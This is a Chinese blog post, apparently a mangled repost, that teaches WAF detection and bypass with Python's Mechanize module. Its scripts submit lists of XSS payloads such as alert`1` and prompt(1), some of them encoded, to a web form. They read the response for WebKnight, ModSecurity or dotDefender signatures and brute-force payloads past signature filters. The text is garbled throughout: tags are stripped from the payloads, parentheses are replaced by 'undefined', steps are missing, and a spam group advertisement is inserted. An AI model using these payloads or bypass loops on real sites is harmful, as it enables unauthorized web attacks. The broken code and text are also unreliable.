美文网首页Python新世界
防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

作者: 919b0c54458f | 来源:发表于2018-08-04 16:58 被阅读1次

    1.

    2. alert(*)

    第一个签名将过滤任何包含字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。

    如何判断目标环境是否部署防火墙?

    当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:

    进群:125240963   即可获取数十套PDF哦!

    步骤2:准备恶意请求!

    为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.

    Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

    如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:

    import mechanize as mec

    maliciousRequest = mec.Browser()

    formName = 'waf'

    maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.

    html")

    maliciousRequest.select_form(formName)

    步骤3:准备payload

    在HTML文档中我们定义了一个名为’data’的输入字段:

    input type="text" name="data">

    因此,我们可以使用以下代码来提交我们的payload:

    crossSiteScriptingPayLoad = "alert`1`

    "maliciousRequest.form['data'] = crossSiteScriptingPayLoad

    可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。

    步骤5:防火墙部署检测

    变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。

    使用暴力测试攻击绕过防火墙过滤器

    在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:

    listofPayloads = ['

    Close me!<

    /form>', 'prompt(

    1)', '

    >CLICK ME']

    for payLoads in listofPayloads:

    maliciousRequest = mec.Browserundefined)

    formName = 'waf'

    maliciousRequest.openundefined"http://check.cyberpersons.com/cross

    SiteCheck.html")

    maliciousRequest.select_formundefinedformName)

    maliciousRequest.form['data'] = payLoads

    maliciousRequest.submitundefined)

    response = maliciousRequest.responseundefined).readundefined)

    if response.findundefined'WebKnight') >= 0:

    print "Firewall detected: WebKnight"

    elif response.findundefined'Mod_Security') >= 0:

    print "Firewall detected: Mod Security"

    elif response.findundefined'Mod_Security') >= 0:

    print "Firewall detected: Mod Security"

    elif response.findundefined'dotDefender') >= 0:

    print "Firewall detected: Dot Defender"

    else:

    print "No Firewall Present"

    listofPayloads = ['','\u003cb\u003e','\x3cb\x3e']

    for payLoads in listofPayloads:

    maliciousRequest = mec.Browser()

    formName = 'waf'

    maliciousRequest.open("http://check.cyberpersons.com/crossSite

    Check.html")

    maliciousRequest.select_form(formName)

    maliciousRequest.form['data'] = payLoads

    maliciousRequest.submit()

    response = maliciousRequest.response().read()

    print "---------------------------------------------------"

    print response

    print "---------------------------------------------------"

    我的输出结果如下:

    从结果可以看到,并没有编码的条目被转换为其原始格式。

    总结

    通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。

    相关文章

      网友评论

        本文标题:防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

        本文链接:https://www.haomeiwen.com/subject/ozumvftx.html